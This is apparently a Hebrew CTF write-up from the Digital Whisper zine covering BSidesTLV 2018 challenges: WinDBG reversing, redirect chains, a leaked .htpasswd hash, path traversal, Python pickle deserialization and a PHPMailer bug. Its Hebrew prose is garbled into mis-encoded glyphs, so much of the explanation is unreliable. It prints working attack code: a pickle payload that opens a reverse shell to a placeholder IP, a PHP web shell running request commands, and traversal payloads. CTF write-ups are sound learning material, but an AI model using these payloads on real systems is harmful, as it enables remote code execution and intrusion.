 ˭ˢ˷ ˸ˣˤˣ˶˥ˬ ˢ˟˶ˢ ˢ˪˧˩ˬ ˸˧ˮ˩˸ˢobfuscated ˢ˶ˣ˴ˢˬ ˡˣ˵ ˫˰ ˢ˴˧˶ˢ ˭ˬˤ˟ ˸ˣ˥ˮ˰ˣ˲ˬ ˭ˢ ,˰ˬ˷ˬ ,

:ˣˤˢ 

 

https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-1-ExploitKernelAndPE.pdf
https://www.abatchy.com/2018/01/kernel-exploitation-1
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˟ ˞˴ˬˮ ˢˬ ˫˧˰ˡˣ˧ ˣˮ˞ ˫˞˷ ˭˟ˣˬ˩-buffer  ˡˣ˵ ˟ˣ˸˩˪ ˭˸˧ˮ ,˥ˣˮ˰˧˲ˢ ˧ˮ˲˪c ˢ ˸˞ ˥ˮ˰˲ˬˢ-buffer. 

 ˭ˣˣ˧˩ˢ ˫ˠ ˧˶˷˲˞ ˨ˣ˲ˢˢ- ˟ ˞˴ˬˮ ˢˬ ˫˧˰ˡˣ˧ ˣˮ˞ ˫˞-buffer ˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞ ,˥ˣˮ˰˧˲ˢ ˧˶˥˞-

bruteforce ˸˧˟-ˢ ˨˶˰ ˸˞ ˸ˣ˪ˠ˪ ˸ˮˬ ˪˰ ˸˧˟-buffer .˥ˣˮ˰˧˲ˢ ˧ˮ˲˪ 

ˢ ˟ˣ˶ ˪˰ ˸˞ˤˢ ˢ˪ˣ˰˲ˢ ˸˞ ˧˸˰˴˧˟˷ ˶˥˞˪-buffers˸ˣˮ˧˧ˮ˰ˬ ˸ˣˤˣ˶˥ˬ ˧˸˷ ˧˸˧˪˧ˠ ,:  

!C: \ Windows\ Temp\ kd.dll.bbbb %p ;g  

 

as /e fuc kthat PROCESSOR_ARCHITECTURE; .block 
{.if($spat(@"${fuckthat}","x86")==0) { .writemem C: \ Windows\ Temp\ kd.dll %p 
l?%x;!C: \ Windows\ Temp\ kd.dll.aaaa %p;g} .else {.writemem C: \ Windows\ Te 
mp\ kd.dll %p l?%x;!C: \ Windows\ Temp\ kd.dll.aaaa %p;g}}  

 

 ˨ˣ˸˟) ˢˮˣ˷˞˶ˢ ˸ˤˣ˶˥ˬ˟ ˷ˣˬ˧˷ˢArr1˧˸˞˶˵ ˢ˪ ˢ˧˴˵ˮˣ˲˟ ˰˴˟˸ˬ ( "save_kddll_then_return_print": 

 

˟ ˫˧˷ˬ˸˷ˬ˷ ˢˡ˟ˣ˰ˢ ˸˞ ˸ˣ˪ˠ˪ ˭˸˧ˮ-sscanf  ˪˰) ˧ˬ˞ˮ˧ˡ ˥ˣ˸˧ˮˬ ˣ˞ ,ˢ˧˴˵ˮˣ˲˪ ˫˧˶˦ˬ˶˲˟ ˸ˣˮˮˣ˟˸ˢˬ

 ˢ˶ˣ˷˟ ˢ˧˴˵ˮˣ˲ˢ ˢ˶ˤ˥ˣˢ˷ ˶˥˞˪ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˧ˡ˧61˟ ˢ˧˴˵ˮˣ˲ˢ ˸˯˲ˡˢˣ ,-WinDBG.( 

 ˧˸˞˶˵ ˫ˢ˪ ˭ˣ˶˩˧ˤ˟ ˫˧˶ˣˤ˞ ˧ˮ˷ ˷˧˷ ˟˪ ˣˬ˧˷ ,˱˯ˣˮ˟xored_arr_1/2  ˥˸˲ˬˢ ˸ˣ˰˴ˬ˞˟ ˫˧˥ˮ˰ˣ˲ˬˢ

 ˰ˣ˟˵ˢxor_key .˸˧ˮ˯˥ˬˢ ˪˰ ˞˴ˬˮˢ  ˧˴˟˵ ˧ˮ˷ ˪˟˵ˮ ,˫˸ˣ˞ ˥ˮ˰˲ˮ ˫˞dll ˪ ˢ˟˥˶ˢ ˶ˣ˸˟ ˫˧˷ˬ˷ˬˢ-

WinDBG.  ˸˶ˣ˦˵˦˧˩˶˞ ˶ˣ˟˰ ˫ˢˬ ˡ˥˞x64  ˶ˣ˟˰ ˧ˮ˷ˢˣx86.  ˸ˣ˧˴˵ˮˣ˲ ˧˸˷ ˫ˢ˧ˮ˷˟ ˷˧ ,˱˯ˣˮ˟

ˬ ˸ˣˮ˧˧ˮ˰- aaaa x-bbbb.  ˡ˴˧˩ ˭˧˟ˮ ˟ˣ˶˵˟˫˧˶ˣ˷˵ ˣ˪˞ ˫˧˴˟˵ .˶ˠ˸˞˪ 
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 ˨ˣ˸˟) ˢ˧˧ˮ˷ˢ ˸ˤˣ˶˥ˬ˟ ˷ˣˬ˧˷ˢArr3 ˧˸˞˶˵ ˢ˪ ˢ˧˴˵ˮˣ˲˟ ˰˴˟˸ˬ ("check_something_then_print_flag": 

 

ˢ ˸˞ ˯˧˲ˡˢ˪ ˢ˶ˣˬ˞˷ ˢ˧˴˵ˮˣ˲ˢ ˣˤ˷ ˧˸˰ˡ˧ ˨˧˞ˣ-flag ˧˸˞˶˵ ˢ˪ ˢ˧˴˵ˮˣ˲ˢ ˸˧˞˶ˮ ˨˩˷ ˭ˣˣ˧˩ˬ ?

"decode_flag_and_format_then_print" ˶ˬˣ˞ ˢ˪˷ ˫˷ˢ˷ ˢˬ ˸˞ ˵ˣ˧ˡ˟ ˢ˷ˣ˰ˢ ,-  ˧ˮ˷ ˸˥ˮ˰˲ˬ

 ˞ˣˢ ˫ˢˬ ˡ˥˞˷ ,˫˧˶˟ˡstring-format " ˸ˤˣ˶˥ˬˢ ˸˞ ˪˧˩ˬˢYour Flag is: %s": 

 

 ˸ˣˮ˧˧ˮ˰ˬˢ ˸ˣˤˣ˶˥ˬ˪ ˢ˶ˤ˥˟-  ˪˷ ˡˣ˵ ˣˬ˩ ˸ˣ˞˶ˮ ˭ˢWinDBG. 
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 ,ˢˮˣ˷˞˶ˢ ˸ˮ˧˧ˮ˰ˬˢ ˸ˤˣ˶˥ˬ˟ ˫˧˷ˬ˸˷ˬ ˣ˟ ˫ˣ˵ˬ˪ ˣ˶ˤ˥˸ ˫˞save_kddll_then_return_print, 

 ˧˸˞˶˵ ˢ˪ ˢ˧˴˵ˮˣ˲ ˣ˞˶˸run_in_debugger: 

 

˪ ˸ˬ˶ˣˠ ˢ˧˴˵ˮˣ˲ˢ ?ˢˮˣˣ˩ˢ ˢˬ-WinDBG .˧ˮ˷ˢ ˦ˮˬˣˠ˶˞ˢˬ ˸ˤˣ˶˥ˬˢ ˸˞ ˳˧˶ˢ˪ ˢ ˯ˮ˩ˮ ˭˞˩ˣ-Wtflol - 

˩ˬˢˬ ˡˣ˵ ˳˧˶ˢ˪ ,˧ˢ˷˪˩ ˨˶ˡ˟ ,˥˧˪˴ˢ ˶ˠ˸˞ˢ ˟˸ˣ˩ˢ ˪˰ ˸˧˪˞ˣ˦˶˧ˣˣˢ ˢˮˣ-hypervisor !(ˣˮ˪˷ ˢˮˣ˩ˬˢ) 

˟ ˡˣ˰ ˵ˬ˰˸ˮ ˫˞-run_in_debugger :ˢ˞˶ˮ 

 

˟ˣ-_debugbreak: 

 

˶˟˯ˢ˪ ˨˧˞ ˢˤ ˢ˶˵ ,˭˸˧ˮ ˶ˣ˟˰˪ ˪˰ ˫˧˶˟˯ˢˢ ˢ˲ ˢ˲ˣ )ˢˡˣ˸ nmontag.(! ˤ˞ - ˶˟˰ˬˬ ˪˰ ˸ˤˣ˶˥ˬˢ: 

as /e fuckthat PROCESSOR_ARCHITECTURE; .block 
{.if($spat(@"${fuckthat}","x86")==0) { .writemem C: \ Windows\ Temp\ kd.dll %p 
l?%x;!C: \ Windows\ Temp\ kd.dll.aaaa %p;g} .else {.writemem C: \ Windows\ Te 
mp\ kd.dll %p l?%x;!C: \ Windows\ Temp\ kd.dll.aaaa %p;g}}  

 

˭˸˧ˮ ˸ˣ˞˶˪ ˡˣ˵ˢ˷ ˵ˡˣ˟ ˸˞ ˸˶ˣ˦˵˦˧˩˶˞ ˡ˟˰ˬˢ ,˶ˬˣ˷ˣ ˳˟ˣ˵ ˫˷˟ kd.dll ˫˞˸ˢ˟. ˳˟ˣ˵ˢ ˞ˣˢ˷ ˶ˬˣ˷ 

˞ˣˢ xored_arr_1 x˞ 2 ˫ˡˣ˵ˬˬ )˶˥˞˪ ˥ˣˮ˰˧˲ ,(˸ˣ˪˸˩ ˸˶ˣ˦˵˦˧˩˶˞˟ ˡ˟˰ˬˢ. ˶˥˞˪ ˳˟ˣ˵ˢ˷ ˶ˬ˷ˮ ,

˞ˣˢ ˳˧˶ˬ ˸˞ ˢ˧˴˵ˮˣ˲ˢ aaaa ˫˰ ˶˦ˬ˶˲ ˱˯ˣˮ ˞ˣˢ˷ ˸˟ˣ˸˩ˢ ˪˷ used_in_memcmp x˟ ˫˧˷ˬ˸˷ˬ 

ˢ˧˴˵ˮˣ˲˟ check_something_then_print_flag! 

https://recon.cx/2010/speakers.html#debugger
http://j00ru.vexillium.org/?p=405
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˭˞˩ˬ ˪˩ˣˮ ˵˧˯ˢ˪ ˢ˧˴˵ˮˣ˲ˢ˷ aaaa ˢˮ˷ˬ ˸˞ ˨˶˰ˢ ˪˷ used_in_memcmp ˭ˣ˶˩˧ˤ˟ ˪ˮ˶˵ˢ ,˭˩˪ ˫˞ 

ˣˮ˧˧ˢ ˫˧˯ˮˬ "˥ˮ˰˲˪ ˢ˶ˣ˥˞ "˸˞ secret_param ˸ˣ˰˴ˬ˞˟ bruteforce ˸˧˟-˸˧˟ ˧˲˩ ˧˸˰˴ˢ˷ ˫ˡˣ˵ ,

˪˟˵ˮ ɣ'˷˧˶˟˧ ˞˪ˣ ˸˞ ˨˶˰ˢ ˧˸˧ˬ˞ˢ. 

ˤ˞ ˫˞ ˳˧˶ˮ ˸˞ aaaa ˫˰ ˸˟ˣ˸˩ˢ ˪˷ used_in_memcmp ,ˤ˞ˣ ˳˪˥ˮ ˸˞ ˫˧˩˶˰ˢ ˸˟ˣ˸˩˟ 

used_in_memcmp ˪˟˵ˮ ˞ˣˢ˷ ˭˩˞ ˢˮ˸˷ˢ! ˸˰˩ ,˪˩ˣˮ ˶ˤ˥˷˪ ˸˞ secret_param ˭ˣ˩ˮˢ ,˳˧˶ˢ˪ˣ ˸˞ 

ˢ˧˴˵ˮˣ˲ˢ bbbb ˬkd.dll ˫˰ ˸˟ˣ˸˩ ˢ˟ ˞˴ˬˮ ssecret_param ˣˮ˶ˤ˥˧˷˷ )˶˷˲˞ ˸˸˪ x˪ ˪˩ ˸˟ˣ˸˩ ,

˶˥˞˪ ˣˮ˟˸˩˷ ˢ˟ ˸˞ ˫˧˸˟ˢ ˫˧ˬ˧˞˸ˬˢ.( ˶˥˞˪ ˢ˷˰ˮ˷ ˸˞ˤ ,˯˲ˡˣ˸ ˣˮ˪ ˸ˤˣ˶˥ˬˢ: 

Please continue from here, the pointer to your flag is  00007ffc3de56010 , 
remember to look at the bigger picture :)  

 

˧˶˥˞ ˧˶˯˶˟ ˪˷ ˢ˧˴˵ˮˣ˲ˢ bbbb ˬ-kd.dll ˢ˪ˠˮ ˞˧ˢ˷ xʕ ˸˧˞˶˥˞ˢ ˪˰ ˸˯˲ˡˢ ˸ˤˣ˶˥ˬˢ ˣˤˢ ˸˟ˣ˸˩ˢ˷ˣ 

00007ffc3de56010 ˸˞˴ˬˮ ˨ˣ˸˟ kd.dll ˭ˣ˶˩˧ˤ˟ ˪˷ WinDBG ˢˮˣ˩ˬ˟ ˣˮ˪˷. ˢ˷˰ˮ dump ˭ˣ˶˩˧ˤ˪ ˪˷ 

WinDBG ,˥˸˲ˮˣ ˡˣ˰ WinDBG ˧ˡ˩ ˠ˟ˡ˪ ˸˞ s-dump ˳˪˥˪ˣ ˸˞ ˫˧˸˟ˢ ˸˟ˣ˸˩˟ ˣˤˢ 

)WinDBGception.( 

˶˥˞˪ ˢ˷˰ˮ˷ ˸˞ˤ ,˪˟˵ˮ ˳˟ˣ˵ elf ˡˣˬ˥ - ˫˧˴˧˶ˬ˷˩ ˣ˸ˣ˞ ˯˲ˡˣˬ ˪ˣ˸˥: 

 

 ˫˰ ˳˟ˣ˵ˢ ˸˞ ˥˸˲ˮ ˫˞IDA :ˢ˶ˤˣˬ ˢ˞˶ˣˢ ˫˰ ˸ˣ˶ˣ˷ ˢ˟˶ˢ ˢ˪ˠˮ 

 

" ˪˷ ˪ˣˠ˧ˠ ˶˥˞˪vfmaddsub132ps xmm0, xmm1 ˰˧ˠˮ ,"˸ˠ˴ˬ˪ ˸˶˸˯ˢ˪ ˷ˬ˷ˬˢ ˧˪˩ ˪˰ ˢ˶˧˟˯ˬˢ 

 ˱˶ˠ ˨ˣ˸˟ ˸ˣˮˣˬ˸basic-blocks  ˪˷IDA! 

https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Chris-Domas-REpsych.pdf
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˷ ˢˡ˟ˣ˰ˢ ˸˞ ˣˮ˵˧˸˷ ˧˶˥˞ ˱˶ˠˢ ˸˞ ˥ˣ˸˲˪ ˢ˯ˮˮ-IDA ˶˸ˣ˧ ˠ˧˴ˢ˪ ˶˷˲˞ˬ ˞˪ ˬ-1000  ,˱˶ˠ˟ ˫˧˰ˣ˟˧˶

ˢ ˸˞ ˪˟˵ˮˣ-flag: 
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RedirectMe (Web) 

Description: 

https://www.youtube.com/watch?v=hGlyFc79BUE 

http://one.challenges.bsidestlv.com:8081/ 

Made by Tomer Zait and Nimrod Levy 

˷ˬ˸˷ˮ ˣ˟ ˧˪˩ˢ 

Burp  ˸ˣ˷˵˟ ˧˶˥˞ ˟ˣ˵˰˪ ˶˷˲˞ˬˢ ˧˯˵ˣ˶˲ ˞ˣˢHTTP ˰ ˢ˟ˣˠ˸ˣ˪˰ ˶ˣˤ˥˪ ˶˷˲˞ˬ ˞ˣˢ ,˱˯ˣˮ˟ .˭ˢ˧˪ 

 ˸ˣ˷˵˟HTTP  ˞˶˵ˮˢ ˪ˣˡˣˬ ˸ˣ˰˴ˬ˞˟ ˭˸ˣ˞ ˨ˣ˶˰˪ˣ ˣˮ˧˞˶˷Repeater. 

˭ˣ˶˸˲ 

˟ ˷ˬ˸˷ˮ-Burp ˪˰ ˸ˮˬ ˸ˣ˞˶˪ ˢˬ ˢ˶ˣ˵ ˫˧˯ˮ˩ˮ˷˩ ˶˸˞˪: 

 

ˣˮ˞ ˫˧˪˟˵ˬ ˢ˟˶ˢ redirects ˫˰ ˫˧˶˲˯ˬ ˶ˡ˯˟ ˢ˪ˣ˰ ,ˡ˰ 18 ,˶˥˞˪ ˭˩ˬ s-redirects ˫˧˵˯˲ˮ ˪ ˫˧˶ˤˣ˥ˣ-

1. ˭ˮˣ˟˸ˮ ˢ˟ˣˠ˸˟ ˢ˷˵˟˪ ˪˷ ˱ˡˢ 18.html ˢ˞˶ˮˣ ˭˲ˡ˲ˡˢ˷ ˭˸ˣˮ ˣˮ˪ ˢ˧ˠˣ˰ ˢ˷ˣ˰ˣ redirect ˪-19.html: 

 

https://www.youtube.com/watch?v=hGlyFc79BUE
http://one.challenges.bsidestlv.com:8081/


 
 

˭ˣ˶˸˲ ˧˶ˠ˸˞ s-CTF ˪˷ BSidesTLV 2018 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  32 
 

˭˵˸ˮ ˸˞ ˢ˷˵˟ˢ ˸ˣ˰˴ˬ˞˟ repeater - ˱˧˪˥ˮ ˸˞ session ˫˰ ˢ˧˧ˠˣ˰ˢ ˢˮ˸˧ˮ˷ ˣˮ˪ ,˸˞ˣ ˢ˷˵˟ˢ ˱ˡ˪ 

19.html: 

 

˸˰˩ ,˪˟˵ˮ redirect ˪-20.html: 

 

˭˵˸ˮ ˸˞ ˢ˧˧ˠˣ˰ˢ ˭˲ˡ˲ˡ˟ ,˷˵˟ˮˣ ˸˞ 20.html .˶˥˞˪ ˡˣ˰ ˢˬ˩ redirects ˢ˞˶ˮ ˭˲ˡ˲ˡ˟: 

 

˭˩˞ˣ ,˶˥˞˪ ˫˧˵ˡˣ˟˷ ˸˞ ˢ˟ˣ˷˸ˢ ˸˶˷ˢˬ ˟-Burp: 
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IH8emacs (Web) 

Description: 

What sucks so much is that i can never find the backup i am looking forΧ 

http://one.challenges.bsidestlv.com:8443/ 

Made by Nimrod Levy and Tomer Zait 

˭ˣ˶˸˲ 

˳˟ˣ˵ ˫˧˷˲˥ˬ ˣˮ˞ ˧˩ ˵˧˯ˢ˪ ˭˸˧ˮ ˶ˠ˸˞ˢ ˶ˣ˞˧˸ˬ ˷ ˧ˣ˟˧ˠˮ ˢˮ˩ˣ˸ˢ ˧ˡ˧ ˪˰ ˶˴ˣemacs.  ˶˴˵ ˷ˣ˲˧˥ ˶˥˞˪

 ˪ˠˣˠ˟ˠ˷ ˣˮ˧˪˧-emacs ˧˶ˣ˵ˬˢ ˳˟ˣ˵ˢ ˪˷ ˫˷ˢ ˧˪˰˟ ˧ˣ˟˧ˠ ˧˴˟˵ ˶˴ˣ˧ .(~) ˢˡ˪˧˸ ˸ˬˣ˧˯ ˫˰ 

˧˶˥˞ :ˢ˶˰ˢˢ ˸˞ ˶ˣ˵ˬ ˡˣ˵˟ ˣˮ˞˴ˬ ,˶˸˞˟ ˧ˮˣ˷˞˶ ˶ˣ˧˯ 

<! --  <a href="./administration">Login to administration page</a> -- > 

ˢ˰˧˟˴ˬ˷ ˣˢ˧ˮ ˱ˡ ˪˰ ˪- !˭˧˧ˮ˰ˬ ˰ˬ˷ˮ 

 ˣˮ˪ˣˬ ˳˲ˣ˵ ˶˞ˣ˸ˬˢ ˵ˮ˧˪˪ ˢ˯˧ˮ˩ˢ ˶˥˞˪˯˲ˣ˦ ˸ˣˬ˧˞ ˸ˣ˞˷˶ˢ ˪˷ HTTP ˳˟ˣ˵ ˶˷˞ ,ˣ˪˷ ˸ˣ˞ˬ˯˧˯ˢ 

˟ ˭˯˥ˣ˞ˬ-"administration/.htpasswd.ˢˤ ˠˣ˯ˬ ˫˧˯˲˦˪ ˧ˣ˞˶˩ "/  ˸ˣ˞˷˶ˢ ˧"˰ "˫ˣ˯˥" ˳˟ˣ˵ˢ ˣˮ˶˰˴˪ ˨˞

˪˷ .ˣ˧˪˞ ˢ˷˧ˠ ˣˮ˪ ˭˧˞ˣ ˸˶˷ˢ  ˪˷ ˧ˣ˟˧ˠ ˫˧˧˵ ˢˤˢ ˳˟ˣ˵˪ ˫˞ˢ ˵ˣˡ˟ˮemacs .˱˧˯ˣˮ ~é !ˣˠˮ˧˟ˣ 

bsidestlv:$apr1$1nKU7Tz4$2bEAlGTlz/0skDdE2EnW00  

 ˳˟ˣ˵ˢ ˸˞ ˣˮ˪˟˧˵ˢ) ˸˟˟ˣˠˬ ˢˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ ˪˧˩ˬhash ˸ˣ˪ˠ˪ ˸ˮˬ ˪˰ .(˸˞  ˸˧˶ˣ˵ˬˢ ˢˬ˯˧˯ˢ

 ˢˤ ˠˣ˯ˬ ˫˧˟ˣ˟˧ˠ ˳˶ˣ˲˷ ˧˪˩˟ ˷ˬ˸˷ˮ- john the ripper.  ˳˟ˣ˵˟ ˢˬ˯˧˯ˢ ˸˞ ˥˧ˮˮpass_hash ˶ˮˣ˳˧ ˸˞ 

'˭xɣ: 

 

ˢ ˫˰ ˯ˮ˩ˮ˫˷ ˷ˬ˸˷ˬ ˳˟ˣ˵ˢˬ ˢˬ˯˧˯ˢˣ ˣˮ˶ˤ˥˧˷˷ ˸˞ ˪˟˵ˮˣ s-flag: 

BSidesTLV{D0ntF0rg3tB4ckupF1l3s}  

 

  

http://one.challenges.bsidestlv.com:8443/
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
https://en.wikipedia.org/wiki/Basic_access_authentication
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Creative Agency (Web) 

Description: 

Beautiful mirror, mirror on the wall, who's the prettiest of them all? The flag is in: 

/home/bsidestlv/flag.txt  

http://two.challenges.bsidestlv.com:3333 

Made by Tomer Zait and Nimrod Levy 

˭ˣ˶˸˲ 

 ˶˥˞˪˦˟ˬ  ˦˲˧˶˵˯˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˸ˣ˲˪˷ˮ ˶˸˞˟ ˸ˣˮˣˬ˸ˢ ˪˩˷ ˣˮ˧ˢ˧ˤ ˶˸˞ˢ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵˟PHP 

ˢ:ˢ˞˟ˢ ˢ˶ˣ˴˟ ˸˶˷ ˡ˴˟ ˞˴ˬˮ 

ƳÉÍÇơÆÉÌÅˮנÄḽƐʦṝḸoṌƳנḮĈƳƐ 

ˢ˴˶ˮ ˪ ˳˟ˣ˵ˢ ˸˞ ˨˶ˡˢ ˢ˸ˣ˞˟ ˱ˣ˪˷flag.txt.  ˣˮ˞˴ˬ ˦˯˵˦ˢ ˸˩˧˲ˢ ˧˶˸˞ ˪˩ ˪˰ ˶˟˰ˬ ˶˥˞˪˶˸˞ 

˨ˬˣ˸˷ ˦ˬ˶ˣ˲˟. 

/img?file= ṆxṆƐנḊṂḙ/ ṋṂṆÓᴕÐĈÓÑƳᴕḮoḟ/  

:˰˧˶˸ˬ ˶˸˞ˢ 

Error: ENOENT: no such file or directory, stat '/app/home/bsidestlv/flag.txt'  

 ˢ˶ˣ˥˞ ˸˥˞ ˢ˧˵˧˸ ˨˪ˮ ".." ˫˰ˢ ˸˞ ˪˟˵ˮˣ˪ˠˡ: 

/img?file= ṆxṆƐנḊṂḙ/ ṋṂṆÓᴕÐĈÓÑƳᴕḮoḟƳƐƐ 

 

BSidesTLV{I_Like_FlipFlops_And_I_Cannot_Lie}  

 

  

http://two.challenges.bsidestlv.com:3333/
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
http://upsidedown.info/nwodedispu.pl
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LΩƳ tƛŎƪƭŜ wƛŎƪΗ ό²Ŝōύ 

Description: 

Rick leaves a secret backdoor in order to control all the people staying at Anatomy park. 

Do you think you can discover and exploit it in order to read the flag? 

http://two.challenges.bsidestlv.com:8088/ 

Made by Nimrod Levy and Tomer Zait 

˭ˣ˶˸˲ 

 ˢ˧˶˲˯˟ ˷ˬ˸˷ˮ ˶ˠ˸˞˟ ˢ˞˶ˮˢ ˪˩˩ ˧˩ ˷˞˶ˬ ˫˧˵˧˯ˬ ˣˮ˞ ˶ˣ˞˧˸ˢˬpickle .˭ˣ˸˧˧˲ˬ Pickle  ˢ˧˶˲˯ ˞˧ˢ

.˭ˣ˸˧˧˲˟ ˸ˣ˵˪˥ˬˣ ˰ˡ˧ˬ ˪˷ ˢ˧˴ˤ˧˪˞˧˶˯ ˰˴˟˪ ˢ˸˶˦ˬ ˶˷˞ ˭ˣ˸˧˧˲˟  ˡˣ˵ ˳˧˶ˢ˪ ˭˸˧ˮ ˧˩ ˢ˪ˠ˸ˢ ˫˧ˮ˷ˢ ˫˰

 ˭ˣ˸˧˧˲˟ ˰ˡ˧ˬ˪ ˢ˧˴ˤ˧˪˞˧˶˯ˡ ˢ˷ˣ˰ˢ ˡ˴ˢ ˪˰- .˸˶˷ˢ ˢˤ ˣˮ˪˷ ˢ˶˵ˬ˟ 

 ˸ˣˮ˲˴ˣˬ ˢ˶ˣ˞˩˪ ˸ˣˤˣ˶˥ˬ ˶˧ˤ˥ˬˣ ˥˪ˣ˷˷ ˦˲˧˶˵˯ ˢˣˣ˞'ˠ ˡˣ˵ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˶˸˞ˢ ˪˷ ˢ˶˧ˢˬ ˢ˶˧˵˯ ˶˥˞˪

˷˞ ˡˣ˵ ˧ˡ˧ ˧"˰ ˸ˣ˶˴ˣˮ ˶PHP :˸ˣ˟ˣ˸˩˟ 

/getMembers.html?visitor=<input>  

:˸˟ˣ˸˩ˢˣ ,"˸ˮ˲˴ˣˬ" ˸ˤˣ˶˥ˬ ˶˴ˣ˧ˢ 

/statusMembers.html?data=<the_string>  

.˦˯˵˦˪ ˢ˶ˤ˥ ˸ˤˣ˶˥ˬˢ ˸˞ ˸ˬˠ˶˸ˬˢ  ˨˧˪ˢ˸ ˸˶˟ˣ˰ ˞˧ˢ ˧˩ ˣˮ˞˴ˬ ˢˬˠˣˡ˪ ˸ˤˣ˶˥ˬ ˪˰ ˶˵˥ˬ ˶˥˞˪

 ˧"˰ ˢ˧˴ˤ˧˪˞˧˶˯ ˪˷pickle  ˧"˰ ˳ˣˣ˧˩zlib ˪ ˫ˣˠ˶˸ ˱ˣ˯˟˪ˣ-base64  ˢ˶ˣ˴˟ ˰ˡ˧ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˸ˮˬ ˪˰

.˰ˡ˧ˬ ˡˣ˟˧˞ ˞˪˪ ˧ˮ˷ˢ ˡ˴˟ ˸˧˪˞ˣ˦˯˵˦  ˸˞ ˷˧ˬ˷ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˶˞˷ˮ˷ ˢˬ ˪˩ ,ˢ˪˥˸ˢ˟ ˣˮˠ˴ˢ˷ ˧˲˩

 ˧"˰ ˡˣ˵ ˸˵˶ˤˢ˪ ˸ˣ˶˩ˣˬˢ ˸ˣ˴˶˲ˢ ˸˥˞pickle  ˣˮˬ˧˧˯ˣ- ˸˶˷˟ ˡˣ˵ ˳˧˶ˢ˪ ˭˸˧ˮ: 

import  os  

import  zlib  

import  pickle  

import  base64  

import  subprocess  

 

class  Exploit ( object ):  

   def  __reduce__ ( self ):  

      return  ( subprocess . Popen,  (  

         ( """python - c 'import socket,subprocess,os; 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 

s.connect(("xxx.xxx.xxx.xxx",XXXX));os.dup2(s.fileno(),0); 

os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh"," -

i"]);' &""" ), 0,  None,  None,  None,  None,  None,  False ,  True ,))  

 

shellcode = pickle . dumps( Exploit ())  

print ( base64 . b64encode ( zlib . compress ( shellcode )))  

ˢ ˫˰ ˡˣ˵ˢ ˸˞ ˳˧˶ˮ-IP  ˥˸˲ˮ ,ˣˮ˪˷ ˦˶ˣ˲ˢˣnetcat  :ˢˡˣ˵˲ˢ ˧"˰ ˭˧ˤ˞˧˷nc -l -p XXXX 

 ˣˮ˪ ˷˧ ,ˣˠˮ˧˟ˣ ˶˸˞˪ ˥˪˷ˮreverse shell ,ˢ ˸˧˧˵˧˸˪ ˰˧ˠˢ˪ ˶˸ˣˮ ˵˶ ˢ˲ˬ-root  ˸ˣ˷˰˪ˣcat ˪-flag.txt: 

BSidesTLV{IC0ntr0ll3dP1ckl3R1ck!}  

http://two.challenges.bsidestlv.com:8088/
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ContactUs (Web) 

Description: 

Mailing libraries are dangerous if they are not written with secure methodologies Do you think 

you can get a shell and read the flag? 

http://two.challenges.bsidestlv.com:8080/ 

Made by Nimrod Levy and Tomer Zait 

˭ˣ˶˸˲ 

 ˶ˣˤ˞ ˢ˞˶ˮ ˶˸˞ˢ ˪˰ ˶˟˰ˬ ˶˥˞˪Contact Us: 

 

 ˷˲˥ˮ ,˶ˠ˸˞ˢ ˶ˣ˞˧˸˟ ˤˬ˶ˢˬphp mail exploit ˪ ˰˧ˠˮˣ˞˟ˢ ˱ˡ: 

 

ˢ˪ ˢ˯ˮˮˢ˷˩ ,ˢˬˣˡ ˦˪˵˟ ˷ˬ˸˷-msg_body  ˞ˣˢphp backdoor :˦ˣ˷˲ 

<?php  echo  "<pre>" ;  system ( $_REQUEST[ 'cmd' ]);  echo  "</pre>" ;  die ;  ?> 
 

http://two.challenges.bsidestlv.com:8080/
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
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.˪˧˧ˬ˧˞˪ ˧˵ˣ˥ ˦ˬ˶ˣ˲ ˞˪ ˞ˣˢ ˣˮ˯ˮ˩ˢ˷ ˢˬ˷ ˥ˣ˵˪ ˡ˴˟ ˸ˣ˵˧ˡ˟ˬ ˪˟˵ˮ ˪˟˞  ˞˪ ˥ˣ˵˪ ˡ˴˟ ˸ˣ˵˧ˡ˟˷ ˭˟ˣˬ˩

ˬ ˢˡ˷ˢ ˪˷ ˯ˣ˲˧˦ˢ ˸˞ ˢˮ˷ˮ .˸ˣˮ˷ˬ-email ˪-text: 

 

:ˢ˟ˣˠ˸ˢ ˸˞ ˢ˦ˬ˪ ˪˟˵ˮ .ˢ˷˵˟ˢ ˸˞ ˥˪˷ˮˣ 

 

˪ ˷ˣ˪ˠˮ ,ˢ˟ˣˠ˸ˢ ˸˞ ˟ˣ˷ ˥˪˷ˮ ,ˣˮ˸˞ˬ ˣ˷˶ˡ˷ ˧˲˩ ˳˟ˣ˵ˢ ˫˷ ˸˞ ˢˮ˷ˮ: 

